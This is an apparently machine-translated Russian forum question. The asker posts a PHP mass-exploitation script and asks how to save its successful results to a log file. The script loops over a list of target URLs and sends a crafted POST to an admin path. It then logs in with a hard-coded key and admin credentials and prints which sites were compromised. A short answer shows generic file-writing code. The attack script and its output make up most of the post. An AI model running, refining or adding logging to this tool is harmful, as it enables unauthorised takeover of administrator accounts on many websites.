2016-04-22 3 views
-1

я делаю некоторые PHP скрипт для сканирования ошибки, но у меня есть некоторые porblem при попытке сохранить результаты в текстовый файл или журнал был попробовать формулу, но не работают хорошовы можете сказать мне, как сохранить вывод

вот код

error_reporting(0); 
$get=file_get_contents($argv[1]) 
or die(" 
\n\tError ! 
\n\tusage => php scan.php list.txt\n\n"); 
$j=explode("\r\n",$get); 
foreach($j as $url){ 

print "\n\n\t[+] Exploiting => ".$url; 
$dirnya = "/login/secure/adm"; 

$postdata = 'check=blalalalalalal'; 

$ch = curl_init(); 
curl_setopt ($ch, CURLOPT_URL, $url.$dirnya); 
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 60); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata); 
curl_setopt ($ch, CURLOPT_POST, 1); 
$headers = array(); 
$headers[] = 'Accept-Encoding: gzip, deflate'; 
$headers[] = 'Content-Type: application/x-www-form-urlencoded'; 

curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt ($ch, CURLOPT_HEADER, 1); 
$result = curl_exec ($ch); 
curl_close($ch); 

#Exploitasi berhasil dan memulai cek Login setelah exploitasi 
if(preg_match('#200 OK#', $result)) { 
print "\n\t[+] Exploiting Success, mulai mengecek login.."; 
$loginpage = $url."/adm"; 
$logindata = 'key=3ryAIBlm7bJ3naj9&login%5Badm_usr%5D=memek&login%5Badm_pswd%5D=memeklegit'; 

$hydra_ch = curl_init(); 
curl_setopt ($hydra_ch, CURLOPT_URL, $loginpage); 
curl_setopt ($hydra_ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($hydra_ch, CURLOPT_TIMEOUT, 60); 
curl_setopt ($hydra_ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($hydra_ch, CURLOPT_POSTFIELDS, $logindata); 
curl_setopt ($hydra_ch, CURLOPT_POST, 1); 

$headers = array(); 
$headers[] = 'Accept-Encoding: gzip, deflate'; 
$headers[] = 'Content-Type: application/x-www-form-urlencoded'; 

curl_setopt ($hydra_ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt ($hydra_ch, CURLOPT_HEADER, 1); 
$hasil = curl_exec ($hydra_ch); 
curl_close($hydra_ch); 


if(preg_match('#302 Moved#', $hasil)) { 

это часть кода

print "\n\t[+] Login Success ! \n\t[+] user => memek \n\t[+] password => memekbau"; 
print "\n\t[-] Login Page => ".$loginpage; 
} 
else { 
#Exploitasi berhasil dan namun admin user tidak masuk ke database. 
print "\n\t[-] Login Failed :("; 
print "\n\t[-] Keterangan : admin user tidak masuk.\n";} 
}else { 

#Exploitasi gagal total 
print "\n\t[-] Exploitasi Failed :(\n ";} 

} 

и это выводится при запуске скрипта

[+] Exploiting => localhost 
[+] Exploiting Success, mulai mengecek login.. 
[+] Login Success ! 
[+] user => memek 
[+] password => memekbau 
[-] Login Page => localhost/adm 

мой вопрос, как сохранить этот вывод в файл txt или log?

Спасибо

ответ

0

Если вы хотите создать новый файл и записать в него используйте код ниже. Храните все выходные данные в одной переменной.

$content = "some text here\n"; 
$content .= "text on new line"; 
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . "/output.txt","wb"); 
fwrite($fp,$content); 
fclose($fp); 
+0

проблема ваш код собрать весь контент мне просто нужен контент с "[+] Логин успеха!" – ronald

+0

привет никому домой ??? – ronald

Смежные вопросы